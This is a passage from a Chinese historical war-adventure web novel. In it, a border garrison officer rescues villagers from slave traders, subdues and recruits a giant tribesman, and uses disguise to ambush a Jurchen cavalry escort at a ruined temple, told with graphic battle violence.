殿中空地更扎眼——二十多辆木头笼车挤挤挨挨。里面蜷缩着七八十个衣衫破烂、面黄肌瘦的身影。
其中年轻男女最多,还有七八个,十来岁吓得直哆嗦的孩子,却不见一个上了年纪的老人。
——老人干不了重活还活不长,**哪会要这种赔钱货?
笼子里的人们正扒着木栅栏,在跟军汉哭诉,说着是哪里人。当看到拎着滴血弯刀的秦猛进来,吓得呼啦一下蜷缩后退,大气不敢喘。
“别怕,乡亲们。”秦猛放缓语气,声音尽量显得温和可亲:“我们是小南河堡的边军,本官是军堡管队官,杀了**,来救你们的。”
“猛子哥,我就知道你们会来!”一个身影猛地从刚打开的笼子里蹿出来,竟是王大宝。
这小子一手还抓着块硬邦邦的干粮饼,腮帮子鼓囊囊地嚼着,虎头虎脑的脸上却顶着青一块紫一块的肿块,鼻梁还结着暗红的血痂。
“哼!”秦猛脸色骤沉,板得像块铁板。
“军令第三条是什么?老子是不是下过死命令——堡内任何人,不许单独外出,要报备。你小子当耳旁风?”
他越说越气,手指头几乎戳到大宝脑门上:“这回是你小子祖宗坟头冒青烟,再晚几个时辰。
你就被卖过河去草原图什么狗屁部落当牛做马。你娘在家哭得昏天暗地,有多担心你知道吗?”
“呜…猛子哥,我错了…”王大宝被骂得眼泪鼻涕糊了一脸,用手臂抹着眼泪,小声保证道:“富贵叔…之前就训过我了,再也不敢了…”
“靠!”秦猛眼角抽搐,猛地扭头瞪向旁边正得意的张富贵,“凭什么这混球比老子大一辈?”
教训完惹祸小子,秦猛转向惊恐的囚众们,提高嗓门:“狗**和捕奴队,都让老子及手下兄弟剁了,你们,安全了,可以回家去。”
一片死寂。
片刻后,压抑到极致的哭声猛地爆发出来!那些茫然、绝望的眼睛里,终于燃起劫后余生的火星。
“军…军爷…真…真是来救我们的?”一个年轻后生嘴唇哆嗦着问,声音抖得像寒风里的树叶。想到自己老母亲在家,泪水止不住往下流。
许多人已经是泣不成声了,他们多是世代生活在边界,多少知道捕奴团队的恶名,知道被卖到草原就再也回不来,无法见到以前的亲人。
“千真万确。”秦猛重重点头:“大伙不要担心,这就放你们出来。但——”
他话锋一转,眼中锐光一闪:“据确切消息,**接应随时可能摸来,现在还不能走。
想活命,想报仇,就得跟老子一条心。布下天罗地网,等他们送上门来,咱们一起杀**。”
“杀**,报仇!”囚车里的人群绝望之下有了希望,爆发出压
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抑的嘶吼,眼中燃起仇恨的火焰。
“富贵,找点吃的喝的,赶紧给他们填填肚子。”秦猛迅速下令,“再安排人手警戒高处。先把妇人和孩子转移走看紧,立刻准备,狗**的马蹄子,怕是已经离这破庙不远了。”
“是。”
营救只是开始。所有人都清楚,即将到来的女真部落的接应骑兵,才是今夜真正的生死较量。
“咔嚓、咔嚓!”……
刀劈斧砍,铁链应声而断。
被困的男女和孩子被一个个放出。
军汉们找来些破皮**给女人们御寒,武器发给青壮,又将篝火上烤着的羊肉、干粮分发下去。
正殿,庞仁带着十来个军卒正麻利地清理战场,断刃、箭矢被归拢到角落,尚有温度的尸体被草席裹住,抬向殿外坡下藏好,准备请功。
“管队爷,这血腥味太重了。”庞仁用袖子抹了把额头的汗,向秦猛汇报:“就算把尸体都清走,这股子味道,一时半会儿也散不去……”
秦猛皱着眉,靴底碾过地上干涸的血迹,伸手在鼻尖扇了扇,沉声道:“这是个问题,再点几堆火,再杀两头羊。有些血迹也没问题……”
话音顿住,他的目光扫过墙角几具穿着破旧皮甲的打手尸体,突然灵光乍现,有了好主意:“庞仁,把你们**借给这几位兄弟用用。”
“啊?”庞仁顺势看去,呆愣在当场。
“我有个办法……”秦猛酝酿片刻,说出自己打算。
庞仁听得是眼睛大亮,连连叫好。
就在他转身要招呼弟兄们动手时,后殿突然传来“嗷嗷”两声像是猛兽,却有点虚弱的吼声。
接着是一声女人惊慌的尖叫“我滴娘”,阵阵呼喝声,骂声,嘈杂声瞬间划破了正殿的沉闷。
很快,一个军汉从后殿冲出来,脸色苍白:“管队官,后、后面有情况!您快、快去看看!”
秦猛脸色一沉,方才舒展的眉头又拧了起来。他握紧蛮刀,沉声对庞仁道:“你做你的,按咱们刚说的计划继续处理,我去去就回。”
说完,他不再犹豫,转身大步朝着后殿的方向走去,靴底踏在石板上,发出沉稳而急促的声响。
“不要慌!”秦猛看着手**棒,满脸警惕的男女,以及躲在马车后的孩子们,声音低沉有力。
他一现身,瞬间就让众人松了口气。
“管队官,来…来这儿!”张富贵干涩的声音从黑夜中传来。秦猛爆喝一声,循声大步冲去。
第30章 山蛮巨汉乌维
火光跳动处,显出一个孤零零的巨笼!手臂粗的精铁栅栏,缠绕着比成人手臂还粗的多重锁链。
一把沉重的黄铜大锁死死封住笼门。
周边散落许多柴草,张富贵和两个军汉目光发直。
——笼子被一个巨大得惊人的身影塞得满满当当。
此人身高至少两米开外,蜷缩的姿态却掩饰不住粗壮如巨熊的本质,破烂的兽皮麻衣下,虬结的肌肉如岩石,贲张着足以撕裂虎豹的**性力量。
这巨汉正扒拉着铁栏杆,与张富贵等人对视。
他浓眉大眼,眼窝深陷,面部轮廓带着原始的野性。黑发黑瞳,这体型,绝非寻常汉人百姓。
“这又是谁?”秦猛赶过来,好奇地问。他能从这大块头眼中感觉到被困在笼中的痛苦与愤怒。
“是山蛮!”紧随而至的张富贵眯眼看了一会儿,“我听爹说过,往东百多里的横断大山里,有蛮人部落,悍勇得很,估摸就是这路数。”
“废话!”秦猛翻个白眼。
他眼底却闪着发现瑰宝的亮光:“这身板雄壮如山,腰阔十围,站那就是头人熊,能不猛?”
张富贵言简意赅的说明后殿骚乱的原因:“是个妇人肚子疼,这家伙突然怪叫,吓得别人连滚带爬。我就带人找过来,发现这铁笼子。”
“呃…方便的到位,这大块头也是不想被囚禁。秦猛无语了,饶有兴致地打量着这非人的体格。
当他的目光与对方相触时,那巨汉只是微微一抬头,兽瞳中毫无感激或恐惧,只有一往无前的漠视,一种脱困后,杀光仇人的决绝。
秦猛心头一震,这种眼神他也有过。
牢笼中的大块头,犹如蛮牛,是天生的战场杀神。
他摸出缴获的那把钥匙,走上前,清脆地晃了晃,手指点着粗壮的锁链。声音平静如古井,没有一丝怜悯,只有找到同类的确认感。
“想出来吗?出来,拿起刀,跟我去杀你的仇人。”
巨汉的目光骤然剧变,他敏锐地从眼前这矮个子身上,嗅到了同类甚至更纯粹、更危险的气息。
一股比部落最强大的头人还要冷酷、决绝的杀意。
巨汉漠然的兽瞳深处终于点燃了近乎疯狂的认同烈焰。
“吼——仇!”
巨汉喉咙里炸出一声闷雷般的低咆,一个生硬但蕴含无边怒火的“仇”字挤出牙缝。一只蒲扇般、布满厚厚老茧的巨大手掌,猛然伸出笼隙。
秦猛嘴角扯起一丝冰冷的弧度。
下一秒,他竟随手将钥匙扔到一边。
在巨汉错愕,疑惑时,秦猛说了声“用不着”。他猛地探手抓住一条锁链!双臂筋肉虬结,骤然发力。
链条哐啷瞬间绷成笔直一线。
“嘣——咔嚓!”一声令人牙酸的金属哀鸣。手臂粗的精铁锁链,竟被他徒手硬生生崩断。
接着,在巨汉剧烈收缩的瞳孔和周围军汉下巴砸地的震惊中,秦猛如法炮制,狂扯锁链。
“咔嚓,嘣——咔嚓!”
一条又一条缠绕在笼上、足以拴住猛虎大象的粗重锁链,在他手中如同枯枝般接连断裂。
“大人。”张富贵咽了咽口水,拉住秦猛胳膊,忧心忡忡地说:“我听说蛮人桀骜不驯,大周至今没让他们臣服,真要放这家伙出来?”
“没事,不听话就打。”秦猛瞪着巨汉,满脸凶狠。个头大不算什么,他有信心迅速制服擒拿。
“咔嚓”最后一根链子断开,秦猛甩掉已经变形的锁头。
“哐当”一声,拉开了沉重的精铁牢门。
那巨汉钻了出来,骤然立起。伸展着蜷缩僵麻的巨大身躯,骨头节发出爆豆般的响声。
——那过丈身高,压迫感瞬间弥漫整个后殿。
就在众人感慨这汉子高大的时候,异变陡生!
巨汉眼中非但无半分感激,反倒燃起囚禁积压的狂暴怒火。那双赤红兽瞳死死盯住最近的秦猛哥,
“嗷!”一声怒吼,庞大的身躯竟如炮弹般扑出。带起腥风,鼓大的拳头闪电般打向秦猛脑袋。
杀气扑面,绝非玩笑,就是要将这个释放他的人打死。
“大人!”张富贵等人魂飞魄散。
“妈的,这畜生!”
“蛮子,果然是忘恩负义。”其余军汉怒骂着呛啷抽刀,如同炸毛的狼群就要扑上,将这凶汉乱刃分尸!
“谁都不要过来。”
秦猛的厉喝压过喧嚣,他竟不退反进。
迎着巨汉那凶悍的扑抓,秦猛眼中战意勃发。他身形一矮,侧步急闪,铁拳擦身而过。
电光火石间,秦猛双臂如铁钳绞上巨汉的粗臂关节,同时右脚精准一勾其脚踝。
“砰!”一声闷响。
巨汉那庞大身躯被秦猛借力打力,以一个狠辣的擒摔,重重砸在冰冷石地上,整个后殿都为之一震。
“嗷!”剧痛让巨汉更加暴怒,他挣扎弹起身。
“再来!”秦猛声音冰冷。
他身影一旋已绕至其身后。
这一次,他不再留手,双臂筋肉贲张,猛地锁死巨汉腰腹。
“起!”一声暴喝,秦猛竟将那铁塔般的巨躯硬生生举离地面。
“砸!”
“轰隆!”巨响比前次更甚。
巨汉如同沉重的石墩子,被狠狠掼回地面。摔得他五脏移位,喉头发甜。
未及挣扎,秦猛的重脚已带着风声跺向他护头的臂膀。
“咚!”
沉重的闷响,巨汉只觉臂骨欲裂。
紧接着,一只铁拳带着死亡的气息,悬停在他眼前。
“
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服,还是死?”秦猛俯视着他,声音冰冷彻骨。
死亡的阴影瞬间笼罩,剧烈的痛苦和这摧枯拉朽般的力量,彻底碾碎了巨汉的野性与骄傲。
他猛地放下手臂,巨大的脸上只剩下痛苦和顺服。
“服…服…主…不打,”巨汉艰难地挤出几个字。
看着跪在脚边、小山般屈服的身躯,秦猛嘴角咧开一丝弧度。
他伸手拍了拍那铁塔般的肩头,又轻松把他拽起:
“名字?”
“黎…魁…”巨汉张了张嘴,喉咙里发出含糊的音节。他听得懂,但汉话极其拙劣,发音不准。
“啥?李逵?”秦猛听得不太清楚,顿时直皱眉。看着这山岳般的身躯和原始野性的气质。
“算了,我先给你取个小名,以后你就叫乌维,膀大腰粗,勇猛无畏。我是,秦猛!”
他用力拍了拍自己胸口。
“乌…乌维…秦…猛。”乌维生涩地重复着,念到“秦猛”二字时,声音陡然拔高,似在确认般。
他蒲扇大的手指戳向秦猛胸口,又重重捶打自己坚如磐石的胸膛,断断续续却异常坚定地宣告:“乌…维…跟…跟着秦猛…杀仇人。”
“对头,以后跟着老子,吃穿不愁,衣食无忧。”秦猛仰望着这尊人形巨塔,心中满意至极。
张富贵等人在边上看得目瞪口呆。
“你来自哪里?”秦猛领着乌维往外走,问道,
“那里…日头升…”乌维慢慢地说着,四下张望,萝卜粗的手指坚定地指向黑暗的山脉方向。
那里是东面,果然是来自横断山脉。
交谈得知,这位山蛮青年是刚成年,走出横断深山,懵懂无知想看看外间世界,就被那‘虎爷’一伙蒙骗,用**和诡计擒获,锁入此笼。
虎爷本想收服他当打手,奈何乌维性情野烈如孤狼,宁死不从,才被当成值钱的苦力准备卖给**。
“这将一丈多高(2.45米)的身板杵那儿,吓都吓**了。打起架来,那不得横扫千军?”秦猛看着比姚明还高的大个子,心中暗笑。
“我…没…家伙!”乌维看着秦猛手中的弯刀,眼中爆发出野兽噬血般的渴望,他伸出巨大的空手。
“接着,这把刀送给你了。”秦猛毫不犹豫,手一扬,将那柄得自虎爷的锋利弯刀抛了过去。
乌维探手一抓,厚重坚韧的弯刀在他巨掌中竟似轻若无物的草棍!随意一挥,锐利的刀锋撕裂空气,发出尖啸。
望着眼前这尊得到武器后煞气冲霄的人形凶兵,秦猛脸上终于漾开一抹带着血腥气息的满意笑容。
初战的胜利,缴获了许多金银不说,救回了王大宝及七八十号百姓,还有这意外收获的巨汉……
这一次突袭,值了!
第32章 悍匪秦大炮
无名破庙。
断壁残垣似巨大的朽骨戳在黑沉沉的旷野风口。呜咽的山风钻进孔洞,发出瘆人的泣鸣。厚厚的枯蒿草匍匐在地,在凛冽寒风中抖索如筛。
一股怪异的气味……若有若无的铁锈味,陈旧、微腥,被寒风卷着,扫过逼近的“狼群”。
兀鲁思鹰目如炬,死死锁定了山坡上那处摇曳着鬼火般微光的坍塌大殿。
身后,五十亲卫精骑马蹄裹布,如同鬼魅潜行。
“汪汪汪!”突然,一串急促的狗吠从侧旁林子里炸响。
在这死寂的寒夜里,尖锐刺耳,被风送出老远。
“狗?”女真骑士们下意识循声扭头,手已本能地摸向腰间角弓。可狗吠骤停,像被掐断了脖子。
“哼,他们倒不算太蠢,是防范着我们来嘞!”兀鲁思一声短促的鼻音,以为是捕奴队故布疑阵,不屑的嗤笑声在他身后低低响起。
周人的小伎俩,可笑。
兀鲁思鹰眼如刀,反复刮过庙墙四周浓得化不开的黑暗。他手一挥,两翼各有数骑如箭离弦,迅疾无声地左右包抄掠出,侦查巡视。
须臾回返,带风掠过他身侧,用女真话低声禀报。
“勃极烈,无异状。”
悬着的心似乎放下三分。兀鲁思一夹马腹,率队再次逼近。
人人在马上微倾,保持随时能暴起的冲锋姿态。
就在这时!
“咣当——哗啦!”
庙门旁一段半塌的土墙后,伴着几声粗俗突兀的喝骂,十多个穿着破棉袄、缩头缩脑的身影手脚并用地从半堵断墙后“滚”了出来。
他们破布烂袄,手中刀枪七歪八斜,脚步踉跄如醉汉。
几支火把猛然捅破黑暗,“噼啪”爆燃!
灼目的火光,瞬间将庙前空地连同几十个矫健身影刺亮。
女真骑士们被强光一晃,非但未惊,脸上轻蔑之色反倒更浓。
眼前这群“匪徒”衣衫褴褛,牙齿磕碰声汇成一片“咯咯”颤响,两条腿抖得如同风扯柳条,眼看就要软瘫下去。
乌合之众!兀鲁思端坐马背,目光如冰扫过这群“烂泥”,视若虫豸。然而,当视线触及领头那尊铁塔般的巨影时,瞳孔骤然紧缩:
九尺开外的壮硕身躯,旧皮甲被虬结肌肉绷得险象环生,满脸悍戾。他昂首挺胸,单手拄着一根遍布尖刺、血迹干涸的狼牙重棒,铜铃般的巨眼毫无惧色,狠狠迎上兀鲁思的审视。
正是卸了官甲、披上“虎爷心腹”匪皮的南河堡管队官——秦猛。
“**!”此刻,秦管队也在心中无奈腹诽:“手下尽是莽夫,连个会演戏的都挑不出。老子这八品武官,倒成了跑腿放哨的小喽啰?”
可这台戏,只能他亲自唱响。
“呔!哪方瘟神?报上名号!”
秦猛炸雷般的咆哮裹着唾沫星子直扑对面**,生硬官话里透着蛮横杀气,脸上横肉跳动。实则鹰目如电,已将对面人数扫入心底。
“接货。”兀鲁思声音低沉如闷鼓,吐出的却是字正腔圆的汉语。
秦猛心头警铃狂震,脊柱如盘毒蛇。脸上却猛地松弛,挤出“恍然”假笑,狼牙棒往冻土狠狠一顿。
“咚!”地面微颤。
他随即用生硬拗口、临时学的女真腔嘶喊:“老酋长安好!”
——从虎爷嘴里撬出来的绝密切口!
“一切安好!”对面应答迅捷如矢,毫无滞涩。
暗号成了!空气似缓一线。
秦猛松了口气:“成了,自己人,吓爷爷一跳!”
他狼牙棒往肩头一扛,拽拽地道:“在下是虎爷座前悍将‘炮哥’秦大炮。都他妈愣着吃屁吗?
这破地儿露了风,官兵狗鼻子追来了!肥羊就在里头,你们赶紧的麻溜带走,各走阳关道。”
他眼风扫到一青壮双腿抖如筛糠,蒲扇大手“啪”地扇向其脑壳:“瘪犊子,卵蛋吓破了?滚进去禀报虎爷,就说贵客到了,酒肉招待。”
“是…”那青壮被抽得踉跄,强压惊骇冲入门内。
秦猛扭头瞪向余下“喽啰”,唾沫横飞,骂骂咧咧:“废物,都给爷站直喽!在贵客面前撂份儿,丢了虎爷脸面,老子扒了你们的皮!”
“有我大炮哥顶着,怂个鸟?”
他口吐芬芳,巴掌又挥向另一胆怯者。
“瞧你那点出息,金主大老爷在前,骨头让娘们儿抽了?挺直腰,胆小别出来混,臊不臊……”
这位大炮哥,粗鄙俚语连珠炮般喷溅,市井下作信手拈来。那刻意流露的“土鳖悍匪”样,分散**注意,凸显几个青壮是真怕极了。
一切,皆指向唯一目的!
——老子们就是散沙,就是乌合之众。
兀鲁思冷眼旁观,眼底疑云终于散尽。他一挥手,二十名彪悍亲卫滚鞍下马,动作似猎豹。
“贵客,请!”秦猛脸上顷刻堆满谄媚假笑,顺手将狼牙棒塞给“跟班”,侧身引路,腰背微弓。
“嗯。”兀鲁思心头暗爽,微颔首,率众紧随。
庙门外,三十余骑如冷铁雕像般钉在马上,眼神刀锋般剐过庙门。箭头寒芒隐现,控弦之手稳如磐石。一张半圆铁网,已悄然布下。
“嘶…真**贼,来人不简单呐!”秦猛眼角余光扫到这副滴水不漏的阵势,心头暗骂。
他脸上却愈发恭顺,半躬着身领路。
就在众人一前一后,刚走过台阶,踏上庙门口——
“哼!”兀鲁思浓密眉毛猛地一拧,那高耸的鼻子用力抽吸了几下,脸色瞬间沉凝如铁。
“血腥味!”他每一个字都像冰珠砸在冻土上。
“浓得发腻!”
他的右手瞬间死死扣在了腰间的弯刀刀柄上!冰冷如实质的目光带着压迫感,直刺秦猛后心。
秦猛心中警铃大作,但脸上却瞬间切换成“晦气”与“紧张”交织的扭曲表情,声音也跟着急促起来:
“嗨呀,别误会。不是跟贵客说了嘛!这破地儿不安全。天黑前,抓肥羊惊动了当地官府,青阳县地界的丘八搜过来撞上了,一场恶仗啊!”
“来来来,你们看这!”
秦猛察言观色见对方没有动手的意思,边说边急切地引着兀鲁思往里
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踏了几步,顺手猛地一指旁边阴影里横躺着的几具穿破皮甲的尸体:
“瞧见没?就撂这儿了!”
“那伙丘八!娘的……杀是杀了,可这地方也沾了晦气。暴露了,下次交易,得换地方。”
兀鲁思凌厉的视线顺着他所指扫去。
经验丰富的他,精准地捕捉到了那几具“官兵”尸体上的细节:致命的刀口在后背、脖子根,伤口深且边缘不齐,断掉的环首**散落一旁……
确像是经过一场短促残酷的接战搏杀。看这僵硬程度,死亡时间与这“秦大炮”所说大致吻合。
紧绷的心弦不由自主地松弛了半分。
“秦大炮”的说法可信度陡增至七八分。但多年血火里淬炼出的直觉,却发出尖锐的警报,像有根无形的刺,戳着兀鲁思后颈的寒毛。
他一只脚刚跨过那扇朽木朽骨般的庙门门槛——
“哈里特!”兀鲁思的声调骤响。如鞭裂空。
他一双锐目刺向庙内晃动的篝火影,又死死咬在秦猛脸上!手紧握刀柄:“为何不他来接应?”
“哈里特?”
这名字像冰锥狠狠扎穿秦猛心脏,血冲顶门。
——虎爷这秃子的供词里,压根儿没这号人。
三个女真探子亦无此名。
“虎秃子这老腌臜…还藏了私货?”秦猛念头电光石火,旋即被更强力摁下:这绝不可能。
那虎爷就是怂货,在“弹丁丁”酷刑下,祖宗十八代阴私都倒尽了!只求速死,绝无隐瞒。
这“哈里特”……必是试探的毒钩!
秦猛脑中风云急转,面上纹丝未动。他目光微抬,精准捕捉到兀鲁思眼底那抹探究的冷焰。
——是了!
这撮鸟在诈,玩探海的把戏!
“哈里特?”秦猛猛地刹住脚步,脸上先是恰到好处的茫然,旋即化为一种混合着轻蔑、桀骜的厉笑。
“哼!哈里特算哪根葱?昨日那三位贵客,叫阿古巴、阿古力!前几次跟咱们碰头的,是哈莱克。”
他嗓门震得庙梁落灰,匪气十足地指向庙内:“哈莱克他们,天没擦黑就带人接应另一批‘肥羊’和粮盐,留下老子在这喝风挨冻、提脑袋等你们。”
秦猛眼珠一瞪,怒火拱起:“客人谨慎是好,可拿这鸡毛试水深?脱裤子放屁——多此一举。
你们付了钱,咱们交‘货’,你们拿‘羊’,银货两抵。搞这些弯弯绕,是在耍你大炮爷爷玩呢?”
他横眉怒目,匪气冲天!
“放肆!”兀鲁思身后一和魁梧亲卫踏前一步,用蹩脚汉语喝斥,“竟敢对猛安大呼小叫?”
“滚蛋!”秦猛甩脸爆喝,唾沫星子直喷对方:“你又算哪根鸟毛?也敢吠?买家了不起?惹**了大炮爷,这‘羊’,爷爷还不卖了。买卖就是讲规矩,凭啥老子白受这腌臜气,呸!”
他胸膛起伏,俨然一副被激怒的悍匪泼皮模样。
女**们手按住刀柄,怒目而视。
秦猛身后十几个喽啰聚拢过来,也不甘示弱。
刹那间,气氛剑拔**张!
第33章 破庙伏杀
“够了,不要吵了,免得失了和气。”兀鲁思眼中精光一闪,忽然抬手按住那亲卫的肩膀。
“秦壮…壮士息怒,误会。”他语气陡转平和,竟朝秦猛拱手:“是我多心了,请多多担待。”
说话间,竟从腰间皮囊摸出一锭足色银元宝,“当啷”一声抛向秦猛:“这个,就当赔礼了。”
秦猛反应快如猎犬,反手一把攫住。指头熟练地掂了掂分量,竟凑到嘴边“咔”地一咬。
他眼底贪婪乍现,脸上怒容瞬间融化,挤出谄媚褶皱:“嘿……还是这位大老爷敞亮。不像那起子……”
他将银子宝贝般揣进怀里,斜眼睨着那被骂的亲卫,阴阳怪气,“不晓得事,尽给贵人丢份儿。”
那谄笑,那掂银,那刻毒眼神。
——将“见利忘义”的小人嘴脸演绎得淋漓尽致。
被盯的亲卫气得面皮发紫,双眼冒火,紧攥刀柄的手背青筋暴突,恨不得当场拔刀**此獠。
“劳烦带路。”兀鲁思不动声色,脸色平静。唇角却似掠过一丝真正松弛的弧度,主动催促。
秦猛这一套“见钱眼开”的市侩演技,反倒如重石压下,将他心头最后几缕疑虑,又压平了三分。
“好说好说!”秦猛腰弯得更低,脸上堆满油腻笑容,眼中凶光与谄媚奇妙地绞缠。
“贵客大气,里面请。”
“本来是想把羊送出来,没这么多烦心事儿。但下次交易需要当说起,虎爷恭候多时了……”
一行人继续前行,鱼贯进入庙内,踩着布满灰尘和凝结黑红色血块的地面,过了狭长的前庭,又拐个残垣断壁,终于来到正殿入口。
一股极其浓郁的烤肉香和热酒散发的诱人酒气袭来。
大殿内,篝火正旺,整只肥羊被铁钎穿在火上,油脂顺着焦脆的外皮滴落,溅起细碎火星。
旁边铁锅酒坛咕咚冒泡,酒香四溢。
几个“喽啰”正围着篝火忙碌,一个满脸横肉、左颊斜垮着狰狞疤痕的汉子在边上指手画脚。
此人正是张富贵,按秦猛的计策,用黄泥混着桐油伪造了伤疤,此刻正假扮联络人的“虎爷”。
此前拷问俘虏得知,以往几次交易都选在深夜,且此次来人就算与虎爷有过交集,却无一人真正见过其全貌,这才给了他们可乘之机。
“哈哈哈,不知阁下高姓大名?”
张富贵听到嘈杂,见秦猛领着女**来了,憋着生硬的女真语,迈着刻意模仿的歪八字上前,脸上堆起的笑容比庙里的泥塑还要僵硬。
“兀鲁思。”猛安兀鲁思言简意赅报上名讳,眼神如鹰隼般扫过殿内陈设,带着毫不掩饰的审视。
“来,诸位远道而来,先尝尝这烤羊,再饮几碗酒暖暖身子。”张富贵指着篝火上滋滋冒油的烤羊,维持着脸上的假笑把这戏给演完。
“不必了,时间紧迫,关于...”兀鲁思摆手拒绝,话未说完却骤然瞳孔骤缩——张富贵脸上的假笑如同冰雪消融,瞬间被刺骨的杀机取代。
时间仿佛在这一刻凝固。
“不好,中计…”兀鲁思警觉,刚要拔刀示警,异变已生。
在前面领路的秦猛猛然转身,先前的痞气、谄媚等表情全无,只剩凝练到极致的凶狞杀机。
他全身筋骨爆鸣,右脚“轰隆”踏碎冻硬的青石板,整个人化作裹挟狂风的黑箭,直扑兀鲁思。
没有怒吼花哨,只有生死淬炼出的高效杀戮本能。
兀鲁思眼中爆发出惊怒的寒光,左手本能地抓向刀柄——但太迟了!
秦猛的速度远超预估。
咔嚓,砰!
沉闷的骨裂声与撞击声在死寂的庙宇之中炸响。
电光石火之间,秦猛左臂凶狠地外崩,精准卡压兀鲁思拔刀的右小臂腕骨,咔嚓,骨裂脆响。
兀鲁思闷哼,弯刀脱手坠地。
同时,秦猛右臂化肘为锤,凝聚全身冲力与旋转爆发力,如攻城槌轰击兀鲁思左胸心窝。
——黑龙十八手·野马奔槽!
噗!闷响声伴随着铁甲变形嵌入肌肉的钝响,兀鲁思鲜血狂喷,壮硕身躯被撞得双脚离地倒飞。
他接连撞翻几个亲卫,后背狠狠砸地,尘土飞扬。
“啊…”剧痛让他眼前发黑。
“死!”秦猛已如影随形,落地瞬间,右腿膝弯如钢铁绞索,狠狠跪砸在他弓起的腰腹要害。
“呃啊——!”惨嚎戛然而止。
秦猛左膝抵住其脖颈动脉,沾泥的右手掐住喉结。窒息与动脉压迫让兀鲁思眼珠暴突,脸色由红转紫。
秦猛另一手攥拳为锤,狠狠砸在其太阳穴上。
咚!闷响过后,兀鲁思眼中凶光熄灭,抽搐一下便彻底瘫软。这位图鲁木部以勇猛著称的猛安勃极烈,未及像样的反抗,便被击晕生擒。
就这眨眼的功夫,主将已被制服。
“啊——!”大殿另一侧爆发出怒吼,张富贵掀开破皮袄,抽出两把尖刀,借混乱一刀捅进魁梧亲卫的脖颈,另一刀切断女真兵的喉咙。
同时,几个“喽啰”抽刀扑出,二十个“怂包匪徒”瞬间褪去伪装,恐惧被求生杀意取代。
“杀!”
“剁了这些**狗!”
嘶哑吼声中,七八个铁甲军汉从偏房冲出来,不是扛起藏在断柱后的橡木盾,就是抱着粗木。
他们如沉默蛮牛群,趁女真护卫阵脚大乱、被门廊限制的瞬间,狠狠撞过去。
“咚,咔嚓,啊——!”
骨头碎裂声与惨嚎同时爆响。
橡木盾拍在皮甲上,将当先护卫撞得肋骨塌陷、口喷鲜血。
沉重原木呼啸砸下,一个护卫举刀格挡,却听“砰”的一声,弯刀背连臂骨被砸得粉碎。
倒霉者被砸中头颅。
噗嗤,脑袋如西瓜般爆开,红白之物溅了同伴一脸。
大殿化作修罗血海,狭小空间的近距离搏杀。长兵器乱捅,将战斗推向最原始残酷的顶点。
秦猛捡起兀鲁思掉落的弯刀,如虎入羊群。连打带踹,刀光翻卷间,断肢残臂与污血飞溅。
一个女真护卫刚转身,便被他自肩胛骨斜劈而下,半个身子几乎劈开,双层皮甲如同纸糊。
鲜血如瀑布浇灌篝火灰烬,血腥与焦臭弥漫。
惨叫、咆哮、武器入肉的闷响、垂死哀鸣、柴火爆裂声…
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…疯狂交织。
火光在残破壁画上扭动,如群魔狂舞。
“不好,里面打起来了。”庙外女真百夫长塔里穆听见惨嚎。
他反应过来,声嘶力竭狂吼,“该死,中计了。兀鲁思大人遇袭,快,杀进去,杀光汉狗!”
三十名女真骑士策动战马,如离弦之箭扑向庙门。
马蹄扬起瞬间,一阵低沉心悸的颤鸣撕裂寒夜,绝非普通弓弦声。
“嗡嗡——!”
地狱使者般的颤音未落,破空声密集袭来。
——黑夜中射出密密麻麻箭矢!
“噗噗噗噗——!”
穿透声与战马濒死的惨嘶同时炸开。
冲在最前的战马颈腹出现血洞,窟窿喷涌鲜血。破甲箭撕裂筋骨,将骑士如布偶般洞穿钉死。
骑士惨叫着摔落,被后续战马踩踏,更有人被巨力撞飞如遭锤砸。
庙门前空地化作屠宰场,尸骸与伤员成了天然障碍。
“伏击,**!”塔里穆肝胆俱裂。
“散开,隐蔽,弓箭手,反击...”
话音未落,“嗖嗖”破空声,第二波箭雨降临。
更密集刁钻,一部分是精准命中人头、手臂的破甲箭。另一部分竟然是裹油麻絮的火箭!
“咄,咄咄,轰——!”
火箭落在庙门外冻土的枯草上,火苗带黑烟窜起,照亮庙门前修罗场与枯树林中憧憧人影。
光线明灭、视线被烟火干扰刹那。
“嗷——!!!”
一声如深渊猛兽的狂野咆哮,带着无穷愤怒与毁灭气息,压倒所有杂音,马儿惊慌地嘶鸣。
西侧本就摇摇欲坠的庙墙轰然爆碎,砖石泥土如烟花四溅。
烟尘中,比兀鲁思更庞大恐怖的身影撞碎墙壁,如山崩降临——正是乌维!
这头人形凶兽没走门,以最狂暴方式登场粉碎敌胆。
火光照耀下,他仅着铁肩甲与兽皮束胸的身躯如地狱战神,肌肉贲张,青筋如**,弯刀在手中闪嗜血光泽。
“死——!”乌维咆哮着,身躯如失控铁甲战车,裹挟破墙威势与烟尘,撞进惊魂未定的骑兵群中。
人借马势?他是人破马阵!
“滚开!”乌维咆哮如雷,手中的弯刀划出惨白刀轮,无招无守,只有蛮力驱动的疯狂劈斩!
刷,咔嚓!
一名骑兵连人带刀被劈成两半,热血混内脏泼洒。
砰!刀背砸在另一骑士太阳穴,头颅爆裂,脑浆碎骨飞溅。
一名骑士试图绕后,挥刀偷袭。
乌维猛然回身,左手如闪电抓住战马嚼环。
“嘿——!”暴喝中,他双臂肌肉坟起,竟将冲锋的战马连人拉离地面。
战马惊恐嘶鸣,骑士绝望挥砍,乌维右臂弯刀化作寒光!
噗嚓——
头颅伴颈血冲天飞起!
乌维如灭世魔神,所过之处断肢横飞、人马俱碎。
狭小空间被他霸道冲击力搅乱,片刻便以绝对力量击溃残余骑兵。
“好可怕的家伙...”队长庞仁带领二十多人加入扫尾,收拢马匹,望着乌维的背影惊叹:“管队爷能让这大块头听话,那得多厉害啊!”
第34章 烽燧夜惊弓
破庙内外的战斗,爆发得猝不及防,结束的更是迅猛如雷。
得益于伪装与突袭的完美结合。加上秦猛、乌维两把锋利尖刀的直插核心,战斗堪称一边倒的屠宰。
此战,除了几个青壮因太过紧张用力过猛扭伤手腕,以及两人人追马时绊倒摔破鼻梁外。
参战的戍卒,青壮一方竟无人战死。
女真猛安兀鲁思所率的五十亲卫精骑,除他本人重伤被俘外,其余尽数伏诛。尸体叠枕,咽喉被割开,心脏被重创,死得不能再死。
此刻,庙门前的空地已化作修罗场。
浓烈的血腥味混杂着烟熏火燎的焦臭、尘土味,及战马哀鸣,构成令人窒息的地狱气息。
庞仁领着队伍快速打扫战场。
庙外战况结束不久,藏在附近山坳的二十来个妇女,半大小子也被带了过来。妇孺手中各拽棍棒,看着这惨烈的场面并没有害怕呕吐。
——只因这里是边陲之地,边民们见惯了生死。也见惯了一个村子一个村子被**狗捣毁。
